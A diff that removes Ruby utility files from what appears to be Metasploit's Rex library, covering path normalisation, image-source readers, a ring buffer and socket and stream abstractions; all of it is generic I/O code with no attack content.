require 'tempfile'
|
||||
|
||||
module Rex
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides helper methods for dealing with files that are not
|
||||
# supplied by the standard ruby API.
|
||||
#
|
||||
###
|
||||
module FileUtils
|
||||
|
||||
#
|
||||
# This method joins the paths together in Unix format.
|
||||
#
|
||||
def self.normalize_unix_path(*strs)
|
||||
new_str = strs * '/'
|
||||
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||
|
||||
new_str
|
||||
end
|
||||
|
||||
#
|
||||
# This method joins the paths together in Windows format.
|
||||
# All reserved characters will be filtered out, including:
|
||||
# " * : < > ? \ / |
|
||||
#
|
||||
def self.normalize_win_path(*strs)
|
||||
# Convert to the same format so the parsing is easier
|
||||
s = strs * '\\'
|
||||
|
||||
# Filter out double slashes
|
||||
s = s.gsub(/\\\\/, '\\') while s.index('\\\\')
|
||||
|
||||
# Keep the trailing slash if exists
|
||||
trailing_s = ('\\' if s =~ /\\$/) || ''
|
||||
|
||||
# Check the items (fie/dir) individually
|
||||
s = s.split(/\\/)
|
||||
|
||||
# Parse the path prefix
|
||||
prefix = (s[0] || '').gsub(/[\*<>\?\/]/, '')
|
||||
|
||||
# Delete the original prefix. We want the new one later.
|
||||
s.delete_at(0)
|
||||
|
||||
# Filter out all the reserved characters
|
||||
s.map! {|e| e.gsub(/["\*:<>\?\\\/|]/, '') }
|
||||
|
||||
# Put the modified prefix back
|
||||
s.insert(0, prefix)
|
||||
|
||||
# And then safely join the items
|
||||
s *= '\\'
|
||||
|
||||
# Add the trailing slash back if exists
|
||||
s << trailing_s
|
||||
end
|
||||
|
||||
#
|
||||
# This method cleans the supplied path of directory traversal sequences
|
||||
# It must accept path/with/..a/folder../starting/or/ending/in/two/dots
|
||||
# but clean ../something as well as path/with/..\traversal
|
||||
#
|
||||
def self.clean_path(old)
|
||||
path = old
|
||||
while(path.index(/\/..\/|\/..\\|\\..\\|\\..\/|\A..\\|\A..\//) != nil)
|
||||
path.gsub!(/\A..\\|\A..\//,'') #eliminate starting ..\ or ../
|
||||
path.gsub!(/\/..\/|\/..\\/,'/') #clean linux style
|
||||
path.gsub!(/\\..\\|\\..\//,'\\') #clean windows style
|
||||
end
|
||||
path
|
||||
end
|
||||
|
||||
#
|
||||
# This method searches the PATH environment variable for
|
||||
# a fully qualified path to the supplied file name.
|
||||
#
|
||||
def self.find_full_path(file_name)
|
||||
|
||||
# Check for the absolute fast first
|
||||
if (file_name[0,1] == "/" and ::File.exist?(file_name) and ::File::Stat.new(file_name))
|
||||
return file_name
|
||||
end
|
||||
|
||||
path = Rex::Compat.getenv('PATH')
|
||||
if (path)
|
||||
path.split(::File::PATH_SEPARATOR).each { |base|
|
||||
begin
|
||||
# Deal with Windows paths surrounded by quotes. Prevents
|
||||
# silliness like trying to look for
|
||||
# '"C:\\framework\\nmap"\\nmap.exe' which will always fail.
|
||||
base = $1 if base =~ /^"(.*)"$/
|
||||
path = base + ::File::SEPARATOR + file_name
|
||||
if (::File::Stat.new(path) and not ::File.directory?(path))
|
||||
return path
|
||||
end
|
||||
rescue
|
||||
end
|
||||
}
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class Quickfile < ::Tempfile
|
||||
def initialize(*args)
|
||||
super(*args)
|
||||
self.binmode
|
||||
ObjectSpace.undefine_finalizer(self)
|
||||
end
|
||||
end
|
||||
|
||||
module Find
|
||||
#
|
||||
# Identical to Find.find from Ruby, but follows symlinks to directories.
|
||||
# See http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/68671
|
||||
#
|
||||
def self.find(*paths)
|
||||
paths.collect!{|d| d.dup}
|
||||
while file = paths.shift
|
||||
catch(:prune) do
|
||||
yield file.dup.taint
|
||||
next unless File.exist? file
|
||||
begin
|
||||
if File.stat(file).directory? then
|
||||
d = Dir.open(file)
|
||||
begin
|
||||
for f in d
|
||||
next if f == "." or f == ".."
|
||||
if File::ALT_SEPARATOR and file =~ /^(?:[\/\\]|[A-Za-z]:[\/\\]?)$/ then
|
||||
f = file + f
|
||||
elsif file == "/" then
|
||||
f = "/" + f
|
||||
else
|
||||
f = File.join(file, f)
|
||||
end
|
||||
paths.unshift f.untaint
|
||||
end
|
||||
ensure
|
||||
d.close
|
||||
end
|
||||
end
|
||||
rescue Errno::ENOENT, Errno::EACCES
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def self.prune
|
||||
throw :prune
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,10 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module ImageSource
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/image_source/disk'
|
||||
require 'rex/image_source/memory'
|
|
@ -1,58 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/image_source/image_source'
|
||||
require 'rex/struct2'
|
||||
|
||||
module Rex
|
||||
module ImageSource
|
||||
class Disk < ImageSource
|
||||
|
||||
attr_accessor :file, :file_offset, :size
|
||||
|
||||
WINDOW_SIZE = 4096
|
||||
WINDOW_OVERLAP = 64
|
||||
|
||||
def initialize(_file, _offset = 0, _len = nil)
|
||||
_len = _file.stat.size if !_len
|
||||
|
||||
self.file = _file
|
||||
self.file_offset = _offset
|
||||
self.size = _len
|
||||
end
|
||||
|
||||
def read(offset, len)
|
||||
if offset < 0 || offset+len > size
|
||||
raise RangeError, "Offset #{offset} outside of image source", caller
|
||||
end
|
||||
|
||||
file.seek(file_offset + offset)
|
||||
file.read(len)
|
||||
end
|
||||
|
||||
def index(search, offset = 0)
|
||||
# do a sliding window search across the disk
|
||||
while offset < size
|
||||
|
||||
# get a full window size if we can, we
|
||||
# don't want to read past our boundaries
|
||||
wsize = size - offset
|
||||
wsize = WINDOW_SIZE if wsize > WINDOW_SIZE
|
||||
|
||||
window = self.read(offset, wsize)
|
||||
res = window.index(search)
|
||||
return res + offset if res
|
||||
offset += WINDOW_SIZE - WINDOW_OVERLAP
|
||||
end
|
||||
end
|
||||
|
||||
def subsource(offset, len)
|
||||
self.class.new(file, file_offset+offset, len)
|
||||
end
|
||||
|
||||
def close
|
||||
file.close
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,48 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module ImageSource
|
||||
class ImageSource
|
||||
|
||||
#
|
||||
# Um, just some abstract class stuff I guess, this is the interface
|
||||
# that any image sources should subscribe to...
|
||||
#
|
||||
|
||||
def subsource(offset, len)
|
||||
raise "do something"
|
||||
end
|
||||
|
||||
def size
|
||||
raise "do something"
|
||||
end
|
||||
|
||||
def file_offset
|
||||
raise "do something"
|
||||
end
|
||||
|
||||
def close
|
||||
raise "do something"
|
||||
end
|
||||
|
||||
def read_asciiz(offset)
|
||||
# FIXME, make me better
|
||||
string = ''
|
||||
loop do
|
||||
begin
|
||||
char = read(offset, 1)
|
||||
rescue RangeError
|
||||
break
|
||||
end
|
||||
break if char.nil? || char == "\x00"
|
||||
offset += 1
|
||||
string << char
|
||||
end
|
||||
return string
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,35 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/image_source/image_source'
|
||||
require 'rex/struct2'
|
||||
|
||||
module Rex
|
||||
module ImageSource
|
||||
class Memory < ImageSource
|
||||
|
||||
attr_accessor :rawdata, :size, :file_offset
|
||||
|
||||
def initialize(_rawdata, _file_offset = 0)
|
||||
self.rawdata = _rawdata
|
||||
self.size = _rawdata.length
|
||||
self.file_offset = _file_offset
|
||||
end
|
||||
|
||||
def read(offset, len)
|
||||
rawdata[offset, len]
|
||||
end
|
||||
|
||||
def subsource(offset, len)
|
||||
self.class.new(rawdata[offset, len], offset + file_offset)
|
||||
end
|
||||
|
||||
def close
|
||||
end
|
||||
|
||||
def index(*args)
|
||||
rawdata.index(*args)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,26 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/io/socket_abstraction'
|
||||
|
||||
module Rex
|
||||
module IO
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an abstraction to a datagram based
|
||||
# connection through the use of a datagram socketpair.
|
||||
#
|
||||
###
|
||||
module DatagramAbstraction
|
||||
include Rex::IO::SocketAbstraction
|
||||
|
||||
#
|
||||
# Creates a streaming socket pair
|
||||
#
|
||||
def initialize_abstraction
|
||||
self.lsock, self.rsock = Rex::Socket.udp_socket_pair
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end
|
|
@ -1,369 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
# This class implements a ring buffer with "cursors" in the form of sequence numbers.
|
||||
# To use this class, pass in a file descriptor and a ring size, the class will read
|
||||
# data from the file descriptor and store it in the ring. If the ring becomes full,
|
||||
# the oldest item will be overwritten. To emulate a stream interface, call read_data
|
||||
# to grab the last sequence number and any buffered data, call read_data again,
|
||||
# passing in the sequence number and all data newer than that sequence will be
|
||||
# returned, along with a new sequence to read from.
|
||||
#
|
||||
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module IO
|
||||
|
||||
class RingBuffer
|
||||
|
||||
attr_accessor :queue # The data queue, essentially an array of two-element arrays, containing a sequence and data buffer
|
||||
attr_accessor :seq # The next available sequence number
|
||||
attr_accessor :fd # The associated socket or IO object for this ring buffer
|
||||
attr_accessor :size # The number of available slots in the queue
|
||||
attr_accessor :mutex # The mutex locking access to the queue
|
||||
attr_accessor :beg # The index of the earliest data fragment in the ring
|
||||
attr_accessor :cur # The sequence number of the earliest data fragment in the ring
|
||||
attr_accessor :monitor # The thread handle of the built-in monitor when used
|
||||
attr_accessor :monitor_thread_error # :nodoc: #
|
||||
|
||||
#
|
||||
# Create a new ring buffer
|
||||
#
|
||||
def initialize(socket, opts={})
|
||||
self.size = opts[:size] || (1024 * 4)
|
||||
self.fd = socket
|
||||
self.seq = 0
|
||||
self.beg = 0
|
||||
self.cur = 0
|
||||
self.queue = Array.new( self.size )
|
||||
self.mutex = Mutex.new
|
||||
end
|
||||
|
||||
def inspect
|
||||
"#<Rex::IO::RingBuffer @size=#{size} @fd=#{fd} @seq=#{seq} @beg=#{beg} @cur=#{cur}>"
|
||||
end
|
||||
|
||||
#
|
||||
# Start the built-in monitor, not called when used in a larger framework
|
||||
#
|
||||
def start_monitor
|
||||
self.monitor = monitor_thread if not self.monitor
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the built-in monitor
|
||||
#
|
||||
def stop_monitor
|
||||
self.monitor.kill if self.monitor
|
||||
self.monitor = nil
|
||||
end
|
||||
|
||||
#
|
||||
# The built-in monitor thread (normally unused with Metasploit)
|
||||
#
|
||||
def monitor_thread
|
||||
Thread.new do
|
||||
begin
|
||||
while self.fd
|
||||
buff = self.fd.get_once(-1, 1.0)
|
||||
next if not buff
|
||||
store_data(buff)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
self.monitor_thread_error = e
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Push data back into the associated stream socket. Logging must occur
|
||||
# elsewhere, this function is simply a passthrough.
|
||||
#
|
||||
def put(data, opts={})
|
||||
self.fd.put(data, opts={})
|
||||
end
|
||||
|
||||
#
|
||||
# The clear_data method wipes the ring buffer
|
||||
#
|
||||
def clear_data
|
||||
self.mutex.synchronize do
|
||||
self.seq = 0
|
||||
self.beg = 0
|
||||
self.cur = 0
|
||||
self.queue = Array.new( self.size )
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The store_data method is used to insert data into the ring buffer.
|
||||
#
|
||||
def store_data(data)
|
||||
self.mutex.synchronize do
|
||||
# self.cur points to the array index of queue containing the last item
|
||||
# adding data will result in cur + 1 being used to store said data
|
||||
# if cur is larger than size - 1, it will wrap back around. If cur
|
||||
# is *smaller* beg, beg is increemnted to cur + 1 (and wrapped if
|
||||
# necessary
|
||||
|
||||
loc = 0
|
||||
if self.seq > 0
|
||||
loc = ( self.cur + 1 ) % self.size
|
||||
|
||||
if loc <= self.beg
|
||||
self.beg = (self.beg + 1) % self.size
|
||||
end
|
||||
end
|
||||
|
||||
self.queue[loc] = [self.seq += 1, data]
|
||||
self.cur = loc
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The read_data method returns a two element array with the new reader cursor (a sequence number)
|
||||
# and the returned data buffer (if any). A result of nil/nil indicates that no data is available
|
||||
#
|
||||
def read_data(ptr=nil)
|
||||
self.mutex.synchronize do
|
||||
|
||||
# Verify that there is data in the queue
|
||||
return [nil,nil] if not self.queue[self.beg]
|
||||
|
||||
# Configure the beginning read pointer (sequence number, not index)
|
||||
ptr ||= self.queue[self.beg][0]
|
||||
return [nil,nil] if not ptr
|
||||
|
||||
# If the pointer is below our baseline, we lost some data, so jump forward
|
||||
if ptr < self.queue[self.beg][0]
|
||||
ptr = self.queue[self.beg][0]
|
||||
end
|
||||
|
||||
# Calculate how many blocks exist between the current sequence number
|
||||
# and the requested pointer, this becomes the number of blocks we will
|
||||
# need to read to satisfy the result. Due to the mutex block, we do
|
||||
# not need to scan to find the sequence of the starting block or
|
||||
# check the sequence of the ending block.
|
||||
dis = self.seq - ptr
|
||||
|
||||
# If the requested sequnce number is less than our base pointer, it means
|
||||
# that no new data is available and we should return empty.
|
||||
return [nil,nil] if dis < 0
|
||||
|
||||
# Calculate the beginning block index and number of blocks to read
|
||||
off = ptr - self.queue[self.beg][0]
|
||||
set = (self.beg + off) % self.size
|
||||
|
||||
|
||||
# Build the buffer by reading forward by the number of blocks needed
|
||||
# and return the last read sequence number, plus one, as the new read
|
||||
# pointer.
|
||||
buff = ""
|
||||
cnt = 0
|
||||
lst = ptr
|
||||
ptr.upto(self.seq) do |i|
|
||||
block = self.queue[ (set + cnt) % self.size ]
|
||||
lst,data = block[0],block[1]
|
||||
buff += data
|
||||
cnt += 1
|
||||
end
|
||||
|
||||
return [lst + 1, buff]
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The base_sequence method returns the earliest sequence number in the queue. This is zero until
|
||||
# all slots are filled and the ring rotates.
|
||||
#
|
||||
def base_sequence
|
||||
self.mutex.synchronize do
|
||||
return 0 if not self.queue[self.beg]
|
||||
return self.queue[self.beg][0]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The last_sequence method returns the "next" sequence number where new data will be
|
||||
# available.
|
||||
#
|
||||
def last_sequence
|
||||
self.seq
|
||||
end
|
||||
|
||||
#
|
||||
# The create_steam method assigns a IO::Socket compatible object to the ringer buffer
|
||||
#
|
||||
def create_stream
|
||||
Stream.new(self)
|
||||
end
|
||||
|
||||
#
|
||||
# The select method returns when there is a chance of new data
|
||||
# XXX: This is mostly useless and requires a rewrite to use a
|
||||
# real select or notify mechanism
|
||||
#
|
||||
def select
|
||||
::IO.select([ self.fd ], nil, [ self.fd ], 0.10)
|
||||
end
|
||||
|
||||
#
|
||||
# The wait method blocks until new data is available
|
||||
#
|
||||
def wait(seq)
|
||||
nseq = nil
|
||||
while not nseq
|
||||
nseq,data = read_data(seq)
|
||||
select
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The wait_for method blocks until new data is available or the timeout is reached
|
||||
#
|
||||
def wait_for(seq,timeout=1)
|
||||
begin
|
||||
::Timeout.timeout(timeout) do
|
||||
wait(seq)
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This class provides a backwards compatible "stream" socket that uses
|
||||
# the parents ring buffer.
|
||||
#
|
||||
class Stream
|
||||
attr_accessor :ring
|
||||
attr_accessor :seq
|
||||
attr_accessor :buff
|
||||
|
||||
def initialize(ring)
|
||||
self.ring = ring
|
||||
self.seq = ring.base_sequence
|
||||
self.buff = ''
|
||||
end
|
||||
|
||||
def read(len=nil)
|
||||
if len and self.buff.length >= len
|
||||
data = self.buff.slice!(0,len)
|
||||
return data
|
||||
end
|
||||
|
||||
while true
|
||||
lseq, data = self.ring.read_data( self.seq )
|
||||
return if not lseq
|
||||
|
||||
self.seq = lseq
|
||||
self.buff << data
|
||||
if len
|
||||
if self.buff.length >= len
|
||||
return self.buff.slice!(0,len)
|
||||
else
|
||||
IO.select(nil, nil, nil, 0.25)
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
data = self.buff
|
||||
self.buff = ''
|
||||
|
||||
return data
|
||||
|
||||
# Not reached
|
||||
break
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def write(data)
|
||||
self.ring.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
server = Rex::Socket.create_tcp_server('LocalPort' => 0)
|
||||
lport = server.getsockname[2]
|
||||
client = Rex::Socket.create_tcp('PeerHost' => '127.0.0.1', 'PeerPort' => lport)
|
||||
conn = server.accept
|
||||
|
||||
r = Rex::IO::RingBuffer.new(conn, {:size => 1024*1024})
|
||||
client.put("1")
|
||||
client.put("2")
|
||||
client.put("3")
|
||||
|
||||
s,d = r.read_data
|
||||
|
||||
client.put("4")
|
||||
client.put("5")
|
||||
client.put("6")
|
||||
s,d = r.read_data(s)
|
||||
|
||||
client.put("7")
|
||||
client.put("8")
|
||||
client.put("9")
|
||||
s,d = r.read_data(s)
|
||||
|
||||
client.put("0")
|
||||
s,d = r.read_data(s)
|
||||
|
||||
test_counter = 11
|
||||
1.upto(100) do
|
||||
client.put( "X" )
|
||||
test_counter += 1
|
||||
end
|
||||
|
||||
sleep(1)
|
||||
|
||||
s,d = r.read_data
|
||||
p s
|
||||
p d
|
||||
|
||||
fdata = ''
|
||||
File.open("/bin/ls", "rb") do |fd|
|
||||
fdata = fd.read(fd.stat.size)
|
||||
fdata = fdata * 10
|
||||
client.put(fdata)
|
||||
end
|
||||
|
||||
sleep(1)
|
||||
|
||||
s,vdata = r.read_data(s)
|
||||
|
||||
if vdata != fdata
|
||||
puts "DATA FAILED"
|
||||
else
|
||||
puts "DATA VERIFIED"
|
||||
end
|
||||
|
||||
r.clear_data
|
||||
|
||||
a = r.create_stream
|
||||
b = r.create_stream
|
||||
|
||||
client.put("ABC123")
|
||||
sleep(1)
|
||||
|
||||
p a.read
|
||||
p b.read
|
||||
|
||||
client.put("$$$$$$")
|
||||
sleep(1)
|
||||
|
||||
p a.read
|
||||
p b.read
|
||||
|
||||
c = r.create_stream
|
||||
p c.read
|
||||
|
||||
=end
|
||||
|
||||
|
|
@ -1,205 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'socket'
|
||||
require 'fcntl'
|
||||
|
||||
module Rex
|
||||
module IO
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an abstraction to a stream based
|
||||
# connection through the use of a streaming socketpair.
|
||||
#
|
||||
###
|
||||
module SocketAbstraction
|
||||
|
||||
###
|
||||
#
|
||||
# Extension information for required Stream interface.
|
||||
#
|
||||
###
|
||||
module Ext
|
||||
|
||||
#
|
||||
# Initializes peer information.
|
||||
#
|
||||
def initinfo(peer,local)
|
||||
@peer = peer
|
||||
@local = local
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic peer information.
|
||||
#
|
||||
def peerinfo
|
||||
(@peer || "Remote Pipe")
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic local information.
|
||||
#
|
||||
def localinfo
|
||||
(@local || "Local Pipe")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Override this method to init the abstraction
|
||||
#
|
||||
def initialize_abstraction
|
||||
self.lsock, self.rsock = Rex::Compat.pipe
|
||||
end
|
||||
|
||||
#
|
||||
# This method cleans up the abstraction layer.
|
||||
#
|
||||
def cleanup_abstraction
|
||||
self.lsock.close if (self.lsock and !self.lsock.closed?)
|
||||
self.rsock.close if (self.rsock and !self.rsock.closed?)
|
||||
|
||||
self.lsock = nil
|
||||
self.rsock = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Low-level write to the local side.
|
||||
#
|
||||
def syswrite(buffer)
|
||||
lsock.syswrite(buffer)
|
||||
end
|
||||
|
||||
#
|
||||
# Low-level read from the local side.
|
||||
#
|
||||
def sysread(length)
|
||||
lsock.sysread(length)
|
||||
end
|
||||
|
||||
#
|
||||
# Shuts down the local side of the stream abstraction.
|
||||
#
|
||||
def shutdown(how)
|
||||
lsock.shutdown(how)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes both sides of the stream abstraction.
|
||||
#
|
||||
def close
|
||||
cleanup_abstraction
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic peer information.
|
||||
#
|
||||
def peerinfo
|
||||
"Remote-side of Pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic local information.
|
||||
#
|
||||
def localinfo
|
||||
"Local-side of Pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# The left side of the stream.
|
||||
#
|
||||
attr_reader :lsock
|
||||
#
|
||||
# The right side of the stream.
|
||||
#
|
||||
attr_reader :rsock
|
||||
|
||||
protected
|
||||
|
||||
def monitor_rsock(threadname = "SocketMonitorRemote")
|
||||
self.monitor_thread = Rex::ThreadFactory.spawn(threadname, false) {
|
||||
loop do
|
||||
closed = false
|
||||
buf = nil
|
||||
|
||||
if not self.rsock
|
||||
wlog("monitor_rsock: the remote socket is nil, exiting loop")
|
||||
break
|
||||
end
|
||||
|
||||
begin
|
||||
s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
rescue Exception => e
|
||||
wlog("monitor_rsock: exception during select: #{e.class} #{e}")
|
||||
closed = true
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
begin
|
||||
buf = self.rsock.sysread( 32768 )
|
||||
if buf == nil
|
||||
closed = true
|
||||
wlog("monitor_rsock: closed remote socket due to nil read")
|
||||
end
|
||||
rescue EOFError => e
|
||||
closed = true
|
||||
dlog("monitor_rsock: EOF in rsock")
|
||||
rescue ::Exception => e
|
||||
closed = true
|
||||
wlog("monitor_rsock: exception during read: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
while( total_sent < total_length )
|
||||
begin
|
||||
data = buf[total_sent, buf.length]
|
||||
|
||||
# Note that this must be write() NOT syswrite() or put() or anything like it.
|
||||
# Using syswrite() breaks SSL streams.
|
||||
sent = self.write( data )
|
||||
|
||||
# sf: Only remove the data off the queue is write was successfull.
|
||||
# This way we naturally perform a resend if a failure occured.
|
||||
# Catches an edge case with meterpreter TCP channels where remote send
|
||||
# failes gracefully and a resend is required.
|
||||
if (sent.nil?)
|
||||
closed = true
|
||||
wlog("monitor_rsock: failed writing, socket must be dead")
|
||||
break
|
||||
elsif (sent > 0)
|
||||
total_sent += sent
|
||||
end
|
||||
rescue ::IOError, ::EOFError => e
|
||||
closed = true
|
||||
wlog("monitor_rsock: exception during write: #{e.class} #{e}")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if( closed )
|
||||
begin
|
||||
self.close_write if self.respond_to?('close_write')
|
||||
rescue IOError
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
protected
|
||||
attr_accessor :monitor_thread
|
||||
attr_writer :lsock
|
||||
attr_writer :rsock
|
||||
|
||||
end
|
||||
|
||||
end; end
|
||||
|
|
@ -1,312 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/sync/thread_safe'
|
||||
|
||||
module Rex
|
||||
module IO
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin is an abstract representation of a streaming connection. Streams
|
||||
# extend classes that must implement the following methods:
|
||||
#
|
||||
# syswrite(buffer)
|
||||
# sysread(length)
|
||||
# shutdown(how)
|
||||
# close
|
||||
# peerinfo
|
||||
# localinfo
|
||||
#
|
||||
###
|
||||
module Stream
|
||||
|
||||
##
|
||||
#
|
||||
# Abstract methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# This method writes the supplied buffer to the stream. This method
|
||||
# intelligent reduces the size of supplied buffers so that ruby doesn't get
|
||||
# into a potential global thread blocking state when used on blocking
|
||||
# sockets. That is, this method will send the supplied buffer in chunks
|
||||
# of, at most, 32768 bytes.
|
||||
#
|
||||
def write(buf, opts = {})
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
block_size = 32768
|
||||
|
||||
begin
|
||||
while( total_sent < total_length )
|
||||
s = Rex::ThreadSafe.select( nil, [ fd ], nil, 0.2 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
data = buf[total_sent, block_size]
|
||||
sent = fd.write_nonblock( data )
|
||||
if sent > 0
|
||||
total_sent += sent
|
||||
end
|
||||
end
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
# Sleep for a half a second, or until we can write again
|
||||
Rex::ThreadSafe.select( nil, [ fd ], nil, 0.5 )
|
||||
# Decrement the block size to handle full sendQs better
|
||||
block_size = 1024
|
||||
# Try to write the data again
|
||||
retry
|
||||
rescue ::IOError, ::Errno::EPIPE
|
||||
return nil
|
||||
end
|
||||
|
||||
total_sent
|
||||
end
|
||||
|
||||
#
|
||||
# This method reads data of the supplied length from the stream.
|
||||
#
|
||||
def read(length = nil, opts = {})
|
||||
|
||||
begin
|
||||
return fd.read_nonblock( length )
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
# Sleep for a half a second, or until we can read again
|
||||
Rex::ThreadSafe.select( [ fd ], nil, nil, 0.5 )
|
||||
# Decrement the block size to handle full sendQs better
|
||||
retry
|
||||
rescue ::IOError, ::Errno::EPIPE
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Polls the stream to see if there is any read data available. Returns
|
||||
# true if data is available for reading, otherwise false is returned.
|
||||
#
|
||||
def has_read_data?(timeout = nil)
|
||||
|
||||
# Allow a timeout of "0" that waits almost indefinitely for input, this
|
||||
# mimics the behavior of Rex::ThreadSafe.select() and fixes some corner
|
||||
# cases of unintentional no-wait timeouts.
|
||||
timeout = 3600 if (timeout and timeout == 0)
|
||||
|
||||
begin
|
||||
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
|
||||
(rv[0]) and
|
||||
(rv[0][0] == fd))
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
rescue ::Errno::EBADF, ::Errno::ENOTSOCK
|
||||
raise ::EOFError
|
||||
rescue StreamClosedError, ::IOError, ::EOFError, ::Errno::EPIPE
|
||||
# Return false if the socket is dead
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns the selectable file descriptor, or self by default.
|
||||
#
|
||||
def fd
|
||||
self
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Common methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# This method writes the supplied buffer to the stream by calling the write
|
||||
# routine.
|
||||
#
|
||||
def <<(buf)
|
||||
return write(buf.to_s)
|
||||
end
|
||||
|
||||
#
|
||||
# This method calls get_once() to read pending data from the socket
|
||||
#
|
||||
def >>
|
||||
get_once
|
||||
end
|
||||
|
||||
#
|
||||
# This method writes to the stream, optionally timing out after a period of
|
||||
# time.
|
||||
#
|
||||
def timed_write(buf, wait = def_write_timeout, opts = {})
|
||||
if (wait and wait > 0)
|
||||
Timeout.timeout(wait) {
|
||||
return write(buf, opts)
|
||||
}
|
||||
else
|
||||
return write(buf, opts)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This method reads from the stream, optionally timing out after a period
|
||||
# of time.
|
||||
#
|
||||
def timed_read(length = nil, wait = def_read_timeout, opts = {})
|
||||
if (wait and wait > 0)
|
||||
Timeout.timeout(wait) {
|
||||
return read(length, opts)
|
||||
}
|
||||
else
|
||||
return read(length, opts)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This method writes the full contents of the supplied buffer, optionally
|
||||
# with a timeout.
|
||||
#
|
||||
def put(buf, opts = {})
|
||||
return 0 if (buf == nil or buf.length == 0)
|
||||
|
||||
send_len = buf.length
|
||||
send_idx = 0
|
||||
wait = opts['Timeout'] || 0
|
||||
|
||||
# Keep writing until our send length drops to zero
|
||||
while (send_idx < send_len)
|
||||
curr_len = timed_write(buf[send_idx, buf.length-send_idx], wait, opts)
|
||||
|
||||
# If the write operation failed due to an IOError, then we fail.
|
||||
return buf.length - send_len if (curr_len == nil)
|
||||
|
||||
send_len -= curr_len
|
||||
send_idx += curr_len
|
||||
end
|
||||
|
||||
return buf.length - send_len
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method emulates the behavior of Pex::Socket::Recv in MSF2
|
||||
#
|
||||
def get_once(length = -1, timeout = def_read_timeout)
|
||||
|
||||
if (has_read_data?(timeout) == false)
|
||||
return nil
|
||||
end
|
||||
|
||||
bsize = (length == -1) ? def_block_size : length
|
||||
data = read(bsize)
|
||||
raise EOFError if data.nil?
|
||||
data
|
||||
end
|
||||
|
||||
#
|
||||
# This method reads as much data as it can from the wire given a maximum
|
||||
# timeout.
|
||||
#
|
||||
def get(timeout = nil, ltimeout = def_read_loop_timeout, opts = {})
|
||||
# For those people who are used to being able to use a negative timeout!
|
||||
if (timeout and timeout.to_i < 0)
|
||||
timeout = nil
|
||||
end
|
||||
|
||||
# No data in the first place? bust.
|
||||
if (has_read_data?(timeout) == false)
|
||||
return nil
|
||||
end
|
||||
|
||||
buf = ""
|
